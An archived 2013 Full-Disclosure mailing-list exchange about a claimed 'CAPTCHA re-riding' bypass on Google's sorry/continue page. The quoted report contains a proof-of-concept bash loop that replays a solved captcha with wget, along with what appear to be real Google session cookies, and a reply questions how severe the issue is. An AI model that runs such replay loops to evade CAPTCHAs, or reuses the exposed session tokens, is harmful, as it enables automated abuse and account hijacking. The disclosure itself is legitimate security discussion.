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Date: Mon, 26 Aug 2013 10:34:21 -0500
From: adam <>
To: kevin philips <>
Cc: "" <>
Subject: Re: CAPTCHA re-riding attack in

What exactly is a re-riding attack? Is that just another name for replay?
And does this only work in the sorry/continue context for If
so, I don't think it's really that big of a deal either. Repeated requests,
typically, are the cause of the sorry/continue page, so I can't see how
_more_ repeated requests will somehow solve that. To be clear: sure, I get
that for the time being - you're able to circumvent the captcha - if I'm
understanding correctly. However, in this case, that captcha is only a
courtesy anyway. It's the middle ground between normal user and infected
machine/bot, where they give you a little extra leniency before totally
banning you anyway. If I'm misunderstanding, or if it applies on a wider
scale than that, please let me know.

On Mon, Aug 26, 2013 at 12:07 AM, kevin philips <> wrote:

> folks,
> I found CAPTCHA re-riding attack issue in<>
> .
> PoC:
> Loop request with correct captcha (in this case the value of captcha is
> coppro):
> while true; do wget --header="Cookie:
> PREF=ID=44ba1c9fba493ea4:U=e326f1400e3cc5b1:LD=vi:TM=1343010889:LM=1361717433:S=2dw8AygnrF9_TW_I;
> NID=67=mwocoU0FoMG_dewxiEO3zDc7LLQtKVabiaezQsipcVb-020jysQ9qfngMTyIYNGsub8G7eQBqQPuTXUAO3GJVFZZWjF4tawOwj0KGaRTbw27z0ZEuZtSN-98hX1KedvpY_rzoHyd-InVhDtoG9dqONDS88RmP8JxgZAz7GhtH_QWpTk1WUIY4WTMb6AQ5f58oYUlgQ;
> SID=DQAAAMEAAAAeueuQrtMIKY0NaJovAs1RyF3U1GgJWaoy5UBsCcZV3i2BF5jflSj7nG8YhPQoAe5kwE0eBjJzqeEafDuSTuTaTAGECW0rv2Fw1SQ8NHRzf9m4ymwerpALiHDeHUUlOlWmbrhXzjVm_RMkfvqohuwmHHAHPJKi-8MyKQbjiQd5lGEIH0JArQ8lUEuuqRRVUjBsTXis1TPqQWwHcHY5Chtm2ZOhZxoy2Xj59q8s_eC-Gj5YJ70jisfQrIWjhbjWeB3HvFVXinAWUVdvA6_5VbJ1;
> HSID=ACvpz7M2xPdk68Q6x; APISID=C9DV1u24Umr1AfnD/AfEqGieNRVPzU6fur;
> GDSESS=ID=cba44dffe2e20f09:TM=1374658124:C=c:IP="
> "
> -qd; done
> Abuse this bug, malware, automation scanner, zombie computers, SEO bot can
> bypass the google captcha with the correct initiation captcha for malicious
> actions.
> References:
> _
> _
> Updated: Sadly, Google Security Team considers "captcha re-riding attack"
> in this case is not critical bug. Well, I decide to post  to Full
> Disclosure for more discussions.
> ~g4mm4
> _______________________________________________
> Full-Disclosure - We believe in it.
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